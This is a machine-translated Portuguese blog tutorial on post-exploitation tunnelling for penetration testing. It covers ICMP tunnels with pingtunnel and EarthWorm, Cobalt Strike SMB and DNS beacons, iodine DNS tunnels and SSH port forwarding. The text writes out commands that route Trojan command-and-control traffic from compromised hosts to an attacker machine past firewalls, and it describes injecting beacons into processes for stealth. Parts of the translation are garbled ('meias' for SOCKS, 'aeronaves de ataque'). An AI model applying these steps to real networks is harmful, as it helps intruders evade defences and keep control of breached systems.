Penetração de Intranet - Tecnologia de Túnel

Penetração de Intranet - Tecnologia de Túnel

1. Introdução à Tecnologia de Túneis

  Na realização de testes de penetração e exercícios ofensivos e defensivos, normalmente existem vários dispositivos de borda, firewalls de software e hardware, IPS e outros dispositivos para detectar conexões externas, caso estes dispositivos encontrem anormalidades, eles bloquearão a comunicação.

  Então a tecnologia de túnel é um método de comunicação que ignora a blindagem de porta.Em situações reais, várias políticas de segurança serão definidas no firewall, como permitir a passagem de certos tipos de portas e bloquear a passagem de certos tipos de portas. Em seguida, a tecnologia de tunelamento é encapsular com êxito o tipo de pacote de dados e a porta permitida pelo firewall e, em seguida, passar pelo firewall para se comunicar com a outra parte.Quando o pacote de dados encapsulado chega, o pacote de dados é restaurado.

  Por exemplo, se o firewall interceptar a comunicação TCP, protocolos como HTTP e HTTPS serão inválidos e, em seguida, o protocolo SMB, o protocolo DNS e o protocolo ICMP poderão ser usados ​​para estabelecer túneis para comunicação.

1.1. Intranet - Tecnologia de túnel

  Então, por que usar a tecnologia de tunelamento na intranet? Isso ocorre porque a comunicação do cavalo de Troia que geralmente é carregada na intranet será interceptada pela política do firewall de software e hardware. Então o túnel pode ser usado para encapsular a comunicação do cavalo de Troia, que ou seja, a comunicação de dados, alterando assim O protocolo de comunicação ignora a interceptação e resolve a situação em que CS e MSF não podem ficar online ou a transmissão de dados é instável e não há eco.

1.2. Protocolos comuns de tunelamento

  Observe que o protocolo é compatível com versões anteriores. Por exemplo, se o protocolo TCP estiver desativado, o protocolo HTTP/S baseado no protocolo TCP não estará disponível.

insira a descrição da imagem aqui

应用层:SSH隧道、HTTP/S隧道、DNS隧道
传输层:TCP隧道、UDP隧道
网络层:IPv6隧道、ICMP隧道

1.3. Pré-condições

  Restrições de entrada, saída ilimitada:

  Se a entrada for restrita apenas para acessar a porta 80 ou algumas outras portas, pode ser necessário obter permissões básicas por meio de uploads de arquivos durante o processo básico de infiltração inicial e, em seguida, realizar as infiltrações subsequentes. não há necessidade de tecnologia de tunelamento, basta carregar o cavalo de Tróia normalmente e retornar, o mais típico é o shell reverso.

  Entrada Ilimitada, Saída Restrita:

  Se a entrada for ilimitada, cavalos de Tróia ou backdoors podem ser carregados por vários meios, sendo o mais comum o shell de encaminhamento

  Restrições de entrada e saída:

  Se houver restrições tanto de entrada quanto de saída, então é necessário considerar o conteúdo das restrições.Se for apenas uma restrição simples, tudo bem, se as restrições forem mais rígidas, então pode haver soluções insolúveis.

1.4. Determinar a conectividade da intranet

  Ao julgar a conectividade da intranet, você pode julgar se o host de destino pode acessar a rede externa. Simplificando, é julgar se a saída é restrita. Se a entrada for restrita, basicamente pode ser julgada no processo de penetração inicial .

  Protocolo ICMP:

ping www.baidu.com

insira a descrição da imagem aqui

  Protocolo TCP:

  Você pode usar o protocolo telnet. Se houver uma caixa preta, isso mesmo, isso prova que o protocolo TCP está se comunicando. Na verdade, existe outra maneira mais fácil de carregar o cavalo de Tróia diretamente de acordo com o pensamento convencional. Se você não puder t conectar, isso prova que o protocolo TCP foi interceptado. Trojans CS são todos Display HTTP, como mencionei anteriormente, o protocolo é compatível com versões anteriores, o TCP está bloqueado e o HTTP/S definitivamente não consegue se comunicar, mas pode haver uma possibilidade de lançá-lo separadamente.

telnet www.baidu.com 80

insira a descrição da imagem aqui

  Protocolo DNS:

nslookup www.baidu.com

insira a descrição da imagem aqui

  Protocolo HTTP:

curl http://www.baidu.com

insira a descrição da imagem aqui

2. Tecnologia de tunelamento da camada de rede

  O que é demonstrado aqui é baseado na tecnologia de tunelamento estabelecida na camada de rede.

2.1. Tecnologia de túnel ICMP

  Normalmente, no protocolo de comunicação, se dois hosts precisam se comunicar, as portas correspondentes precisam ser liberadas com antecedência para comunicação e o ICMP não precisa dessas portas para comunicação, o ICMP depende do comando Ping para se comunicar com o remoto host Sim, e o túnel ICMP é para encapsular os dados TCP/UDP no pacote de dados ICMP Ping durante o processo de comunicação, de forma a passar pelo firewall.

2.1.1. Ferramentas comuns

  spp , icmpsh , pingtunnel , impacket

2.1.2. Demonstração Básica do Pingtunnel

2.1.2.1. Servidor de download

  Aqui, primeiro apresentamos o servidor e, em seguida, carregamos o servidor para kali. Como usamos cs para ficar online e outras operações precisam usar o kail ou o sistema Linux, o servidor aqui usa o sistema Linux.

insira a descrição da imagem aqui

  Em seguida, testamos o status de execução. Se a seguinte situação significar que o teste foi bem-sucedido, o servidor está sendo executado com sucesso. Você pode acessar o github para ver o comando.

sudo ./pingtunnel -type server

insira a descrição da imagem aqui

2.1.2.2. Baixe o cliente

  Aqui, como a máquina virtual que eu opero é o Windows, só preciso baixar o cliente Windows e subir o cliente para o host de destino. Na verdade, parece que não há distinção entre o cliente e o servidor, mas os comandos usados ​​são diferente.As funções implementadas são diferentes.

insira a descrição da imagem aqui

2.1.2.3. Definir conexão CS

  O ouvinte CS 1 aqui é usado principalmente para gerar cavalos de Tróia. Se o endereço de retorno do cavalo de Tróia que geramos for o endereço de nossa máquina de ataque, ele não poderá ser executado diretamente quando a conexão TCP for restrita e a conexão será encerrada Nós definimos o endereço de retorno da conexão para ser o próprio host de destino, então esta conexão não será restringida pelo firewall.

insira a descrição da imagem aqui

  O ouvinte CS 2 é usado principalmente para monitorar informações e monitorar a porta local 2222.

insira a descrição da imagem aqui

2.1.2.4. Teste de conexão

  Não vou entrar em detalhes sobre a geração do cavalo de Tróia. É o mesmo que a geração normal do cavalo de Tróia. Observe que você precisa usar o ouvinte 1 para gerar cavalos de Tróia.

  Primeiro, abra o modo servidor do Pingtunnel, que não vou demonstrar aqui, e depois execute o cliente.

pingtunnel.exe -type client -l 127.0.0.1:5555 -s 192.168.10.20 -t 192.168.10.20:6666 -tcp 1 -noprint 1 -nolog 1

insira a descrição da imagem aqui

  Em seguida, você pode executar o cavalo de Tróia aqui e, depois de executá-lo, pode acessar o CS para verificar se ele está online com sucesso.

insira a descrição da imagem aqui

  Quanto ao encaminhamento de dados, se você quiser verificá-lo, pode verificá-lo diretamente na interface.

insira a descrição da imagem aqui

2.1.3. Demonstração de rede cruzada Pingtunnel

  Aqui você precisa cooperar com o ew+pingtunnel para construir um túnel de meias 5. A versão antiga do pingtunnel parece poder ser usada diretamente e sozinha, mas na nova versão do pingtunnel, você precisa cooperar com o ew para operar.

2.1.3.1. Minhoca

  EarthWorm é uma ferramenta para abrir o serviço de proxy SOCKS v5, desenvolvido com base no padrão C, pode fornecer comunicação de transferência entre várias plataformas e é usado para encaminhamento de dados em ambiente de rede complexo.

  No entanto, considerando que o impacto da ferramenta é muito ruim, os desenvolvedores pararam permanentemente de atualizá-la.

  Endereço do projeto: EarthWorm download

  Introdução ao Projeto: Introdução à Minhoca

2.1.3.2. túnel de ping

  Aqui não iremos demonstrar como baixar o cliente e o servidor, mas sim demonstrar diretamente o funcionamento.

攻击机:192.168.10.20
Windows10:192.168.10.150
					 192.168.20.10
Windows7:192.168.20.20

2.1.3.3. Operações de aeronaves de ataque

  Primeiro carregue todas as ferramentas para a máquina de ataque, preste atenção à necessidade de dar permissão de execução, é melhor dar permissão de administrador para executar durante a execução.

./ew_for_linux64 -s rcsocks -l 5555 -e 4444   ##将接收到的4444流量请求转发到5555端口

insira a descrição da imagem aqui

./pingtunnel -type server  ##开启服务器模式

insira a descrição da imagem aqui

2.1.3.4. Operação do Windows 10

  Da mesma forma, todas as ferramentas precisam ser carregadas no servidor com antecedência. Quanto à forma de upload, as permissões podem ser obtidas por meio de algumas vulnerabilidades da WEB e vulnerabilidades do sistema no estágio inicial.

pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.3.76 -t 192.168.3.76:4444 -sock5 -1 -noprint 1 -nolog 1

insira a descrição da imagem aqui

ew.exe -s rssocks -d 127.0.0.1 -e 3333

insira a descrição da imagem aqui

2.1.3.5. Teste de conexão

  Aqui configuramos o proxy do proxyr, essa ferramenta já foi utilizada diversas vezes, então não vou entrar em detalhes, apenas operá-la diretamente.

insira a descrição da imagem aqui

  Em seguida, inicie o teste de área de trabalho remota e você poderá ver a máquina virtual conectada com êxito a 192.168.20.20.

insira a descrição da imagem aqui

3. Tecnologia de tunelamento da camada de transporte

  Em relação à tecnologia de tunelamento da camada de transporte, de fato, simplesmente falando, é o shell reverso de CS, MSF, NC, Python, etc., que é a tecnologia de tunelamento estabelecida usando a camada de transporte. Portanto, a tecnologia de tunelamento de a camada de transporte não é demonstrada aqui.

4. Tecnologia de Túnel da Camada de Sessão

  Aqui você pode me gabar, porque não sei a qual camada o protocolo SMB pertence.

  Do ponto de vista da camada de rede ISO/OSI, o protocolo SMB está localizado na camada de sessão (camada de sessão), camada de apresentação (camada de apresentação) e uma pequena parte da camada de aplicação (camada de aplicação).

  Do ponto de vista da divisão do protocolo TCP/IP, o SMB é um protocolo que funciona na camada de aplicação.

4.1. Tecnologia de túnel SMB

  O Windows encapsula a comunicação do pipe nomeado no protocolo SMB, e esse tráfego é encapsulado no protocolo SMB, portanto, o sinalizador SMB fica relativamente oculto. O sinalizador SMB não pode gerar payloads utilizáveis ​​diretamente e só pode usar PsExec ou Stageless Payload para ficar online.

4.1.1. Demonstração dos fundamentos da tecnologia de túnel SMB

  Aqui está simplesmente convertendo o Payload obtido por HTTP em SMB para online.

4.1.1.1. Lançamento normal

  Devido ao online regular, o host de destino precisa receber a conexão da porta 445, e o Beacon só pode se conectar à sessão gerada pelo mesmo CS e, em determinadas circunstâncias, também precisa ter direitos de administrador ou credenciais de administrador.

insira a descrição da imagem aqui

4.1.1.2. Ouvinte SMB Beacon

  Depois que a máquina estiver online, crie um ouvinte SMB Beacon, pipeame (nome do canal) pode ser personalizado ou padrão.

insira a descrição da imagem aqui

4.1.1.3. Bifurcação de sessões SMB

  Clique com o botão direito do mouse na sessão http anterior, insira o comando e uma sessão derivada aparecerá após a execução.

spawn SMB会话监听器名称

insira a descrição da imagem aqui

4.1.1.4. Injetando sessões de processo

  Na verdade, aqui está para injetar smb no processo, para que fique relativamente mais oculto durante a operação e, ao mesmo tempo, após a injeção, realizará automaticamente a inicialização automática, etc.

insira a descrição da imagem aqui

4.1.1.5. Efeitos da injeção

  Aqui eu originalmente queria injetar o phpstudy, mas parecia haver um pequeno problema, então escolhi outro processo para injetar e parecia estar tudo bem.

insira a descrição da imagem aqui

4.1.1.6. Resumo

  Na verdade, o SMB não pode cooperar com a conexão online aqui, mas vamos demonstrar, é um pouco complicado, você pode ler meu artigo anterior, escrevi sobre isso.

5. Tecnologia de tunelamento da camada de aplicação

  Aqui está a tecnologia de túnel estabelecida com base na camada de aplicação.

5.1. Tecnologia de túnel DNS

  O túnel DNS é um tipo de tecnologia de túnel. Quando nossos protocolos de camada superior, como HTTP e HTTPS, e encaminhamento de porta reverso e direto falham, podemos tentar usar o túnel DNS. O encapsulamento de DNS é difícil de evitar, porque, seja para negócios ou uso normal, é inevitável que o protocolo DNS seja usado para resolução; portanto, a maioria dos firewalls permite o tráfego de DNS.

5.1.1. Demonstração online da tecnologia de túnel DNS

  Ficar online aqui é apenas para permitir que o host fique online com o CS, mas a comunicação posterior ainda usará o tráfego TCP, portanto, deixe-o ficar online primeiro e depois introduza como se comunicar mais tarde.

5.1.1.1. Preparações

  Aqui, precisamos adquirir um nome de domínio e um servidor em nuvem no estágio inicial e abrir a porta 53 do TCP e UDP do servidor em nuvem.

5.1.1.2. Registro de resolução de modificação de nome de domínio

  A记录-> cs主机名->CS服务器IP

  NS记录-> ns1主机名->A记录地址

  NS记录-> ns2主机名->A记录地址

insira a descrição da imagem aqui

5.1.1.3. Configurando o DNS Listener

  Defina o listener, Payloadselecione Beacon DNS, DNS地址selecione o que acabou de preencher ns1记录e preencha ns2记录o seguinte , ou seja .DNS地址( Stager)A记录CS.xxx.fun

insira a descrição da imagem aqui

5.1.1.4. Gerar backdoor

  Selecione aqui Windows可执行程序(stageless)e, em seguida, selecione o ouvinte agora.

insira a descrição da imagem aqui

5.1.1.5. Hospedagem on-line

  Aqui, carregue o cavalo de Tróia backdoor para a máquina de destino e, em seguida, coloque-o online. Depois de ficar online, você verá que uma pequena caixa preta aparece.

insira a descrição da imagem aqui

5.1.1.6. Executando comandos

  Digite a interação aqui, digite o comando para torná-la normal.

mode dns-txt

insira a descrição da imagem aqui

5.1.2. Demonstração de comunicação da tecnologia de túnel DNS

  Aqui está uma introdução ao uso de túneis DNS para comunicação. Pode haver alguns problemas aqui. Como os comandos precisam ser executados no host de destino e parece que os privilégios de administrador ainda são necessários, surge um problema aqui. Se os privilégios de administrador puderem ser executados , ao mesmo tempo, Execute o comando, então qual tecnologia de encapsulamento de DNS eu preciso? Tudo bem se eu apenas usar o comando para desligar o firewall? Dodge?

  De um modo geral, é um pouco insosso. Ao mesmo tempo, a tecnologia de encapsulamento DNS exige que você compre servidores em nuvem e nomes de domínio. Se o nome de domínio e o servidor em nuvem não estiverem bem ocultos, verifique a precisão de um deles...

5.1.2.1. Preparações iniciais

  A primeira escolha aqui precisa ser instalada iodine. iodineO princípio de funcionamento é que TAPuma LAN é estabelecida no servidor por meio de uma placa de rede virtual; no lado do cliente, TAPuma placa de rede virtual é estabelecida; os dois DNSsão conectados por um túnel e estão no mesma LAN. Depois que a conexão for estabelecida entre o cliente e o servidor, haverá uma dns0placa de rede virtual adicional denominada NIC no cliente.

  iodo

5.1.2.2. Ferramentas de instalação do servidor

  O servidor aqui está realmente configurado na sua máquina de ataque, mas precisa ser instalado com antecedência. Por exemplo, no meu caso, você pode usar comandos diretamente para instalá-lo no Linux. Dei uma olhada aqui. Se você baixar o iodine Linux do site oficial A versão precisa ser compilada, para que possa ser baixada diretamente pelo Linux.

yum install iodine

insira a descrição da imagem aqui

5.1.2.3. Ferramenta de execução do servidor

  Aqui executamos a ferramenta. Após a execução, você pode inserir o comando para verificar a placa de rede e descobrirá que há uma placa de rede extra. O segmento de rede selecionado aqui não deve entrar em conflito com o segmento de rede existente.

iodined -f -c -P 123456 192.168.200.1 ns1.域名.fun -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

insira a descrição da imagem aqui

5.1.2.4. Ferramenta de instalação do cliente

  Na verdade, as ferramentas do lado do cliente podem ser baixadas diretamente do site oficial e compiladas, mas há um problema que não pode ser usada diretamente e um erro será relatado. Você precisa instalar uma placa de rede APT e pode vá diretamente para a próxima etapa. Esqueci de fazer uma captura de tela aqui.

  Driver da placa de rede ATP

insira a descrição da imagem aqui

  Quanto ao iodo, você pode baixar diretamente a versão compilada. Aqui você precisa instalar o driver da placa de rede APT, basicamente não precisa fazer nenhuma operação. Como você instala o driver para ele na operação real? ? ?

5.1.2.5. Ferramentas de execução do cliente

  As ferramentas do cliente precisam ser operadas por um administrador para serem executadas. Eles são todos administradores. Por que preciso de um túnel DNS para você... Da mesma forma, depois de inserir o comando, você pode ver que existe um endereço IP extra. Aquele definido é 192.168 .200.1 IP do segmento de rede, então um endereço IP de 192.168.200.2 será gerado automaticamente aqui.

iodine.exe -f -P 123456 ns1.域名.fun

insira a descrição da imagem aqui

5.1.2.6. Conectividade de teste

  Aqui, simplesmente executamos ping e, em seguida, usamos a área de trabalho remota para testar.

insira a descrição da imagem aqui

  Você pode ver que lemos as informações da página da Web aqui e pode ver que o túnel foi estabelecido com sucesso.

insira a descrição da imagem aqui

5.2. Tecnologia de túnel SSH

  Na intranet, quase todos os servidores Linux/UNIX e dispositivos de rede suportam o protocolo SSH. Em geral, o protocolo SSH tem permissão para passar por firewalls e dispositivos de fronteira, por isso é frequentemente usado por invasores. Ao mesmo tempo, o processo de transmissão do protocolo SSH é criptografado, por isso é difícil distinguir entre sessões SSH legítimas e túneis estabelecidos por invasores usando outras redes. Depois que o invasor usa o túnel da porta SSH para romper as restrições do firewall, ele pode estabelecer algumas conexões TCP que não podiam ser estabelecidas antes.

5.2.1. Precauções

  Para usar a tecnologia de túnel SSH, você deve usar o sistema Linux como trampolim e precisa usar privilégios de root, portanto, as condições serão um pouco difíceis. Como não há SSH no Windows, você não pode usar o host do Windows como trampolim estabelecer um túnel.

  Ao mesmo tempo, é melhor não ter muitas políticas de firewall na máquina de trampolim, ou seja, a política de firewall integrada do Linux. Se houver, há muitas maneiras de desativar as políticas na Internet, mas permissões de root são necessárias.

5.2.2. Descrição dos parâmetros comuns do túnel SSH

  -C: comprimir a transmissão, melhorar a velocidade de transmissão

  -f: Transfere a transmissão SSH para a execução em segundo plano sem ocupar o Shell atual

  -N: Estabelece uma conexão silenciosa (a conexão é estabelecida, mas a sessão específica não pode ser vista)

  -g: permite que hosts remotos se conectem a portas locais para encaminhamento

  -L: encaminhamento de porta local

  -R: encaminhamento de porta remota

  -D: encaminhamento dinâmico (proxy SOCKS)

  -P: especifica a porta SSH

5.2.3. Encaminhamento remoto da tecnologia de túnel SSH

  O encaminhamento remoto aqui usa principalmente o sistema Linux como trampolim para encaminhar o endereço IP e o tráfego de porta acessado na máquina trampolim para uma determinada porta na máquina atacante, para que a máquina atacante possa acessar a porta local para pular para o conteúdo em a porta do host de destino.

5.2.3.1. Preparação do ambiente

  Aqui, a máquina de ataque também pode usar o IP da intranet, desde que possa se comunicar com a máquina trampolim Linux.

攻击机:外网IP
Linux跳板机:192.168.10.20 
Windows服务器:192.168.10.150

5.2.3.2. Execute o comando na máquina de trampolim do Linux

  Aqui, é realmente problemático usar privilégios de root como mencionado acima, a menos que você tenha a sorte de obter root com uma senha fraca ou algumas brechas de escalonamento de privilégios, caso contrário, é realmente difícil estabelecer um túnel ssh. a ser inserido posteriormente é a senha de sua máquina de ataque.

ssh -CfNg -R 1010:192.168.10.150:80 [email protected]

1010 ##是攻击机端口(自定义)
192.168.10.150:80 ##是需要访问的地址
[email protected] ##是攻击机地址

insira a descrição da imagem aqui

5.2.3.3. Efeito de verificação

curl http:127.0.0.1:1010

insira a descrição da imagem aqui

5.2.4. Encaminhamento local da tecnologia de túnel SSH

  O encaminhamento local aqui é, na verdade, conectar-se ativamente à máquina de trampolim do Linux, mas há um problema aqui, se sua máquina de ataque for um host de rede externo, como se conectar? Normalmente, o endereço IP em uma empresa é apenas o gateway de saída e o interior é um IP personalizado. Como você se conecta? A menos que alguém mapeie a porta SSH pelo firewall, você poderá se conectar. Caso contrário, é encaminhado localmente, ou você vai primeiro. Vá para um host interno, use-o como um trampolim e, em seguida, conecte o trampolim ao trampolim, caso contrário, parece que realmente não há como.

5.2.4.1. Preparação do ambiente

  O ambiente é preparado aqui, utilizo o ambiente local para teste, como já comentei, o host externo não consegue encontrar o IP da intranet, então só posso utilizar o ambiente local para demonstração.

攻击机IP:192.168.10.20
Linux跳板机IP:192.168.10.30 192.168.20.20
windows服务器:192.168.20.10

5.2.4.2. Aeronaves de ataque executam ordens

  É quase o mesmo aqui, exceto que o endereço de conexão não é mais o endereço da máquina de ataque e o endereço da máquina de trampolim. Isso é possível, mas quando eu estava testando, fiz uma entrada errada, mas pelo efeito do encaminhamento , posso verificar se o encaminhamento está normal.

ssh -CfNg -L 3333:192.168.20.10:80 [email protected]

insira a descrição da imagem aqui

5.2.4.3. Efeito de verificação

  Aqui verificamos novamente e obtemos com sucesso as informações na porta 80 do firewall do Windows.

curl http:127.0.0.1:3333

insira a descrição da imagem aqui

5.2.5. Encaminhamento dinâmico da tecnologia de túnel SSH

  Use o proxy de encaminhamento de meias do túnel ssh para representar toda a intranet do destino, e qualquer programa que suporte o protocolo 4/5 de meias pode usar esse canal criptografado para acesso de proxy.

5.2.5.1. Preparação do ambiente

  O ambiente é preparado aqui, e também é construído localmente, e não há nada de errado aqui.

攻击机IP:192.168.10.20
Linux跳板机IP:192.168.10.30 192.168.20.20
windows服务器:192.168.20.10

5.2.5.2. Aeronaves de ataque executam ordens

ssh -D 1212 [email protected]

insira a descrição da imagem aqui

5.2.5.3. Configurações da aeronave de ataque

  Aqui você precisa ir para o navegador da máquina atacante para configurar, definir o proxy de meias, entrar no navegador para encontrar as configurações de rede e definir o proxy de meias4/5.

insira a descrição da imagem aqui

5.2.5.4. Efeito de verificação

  Pode-se ver aqui que embora o ping 192.168.20.10 não possa ser alcançado, a página de 192.168.20.10 pode ser acessada.

insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/weixin_44268918/article/details/131069608
Recomendado
Clasificación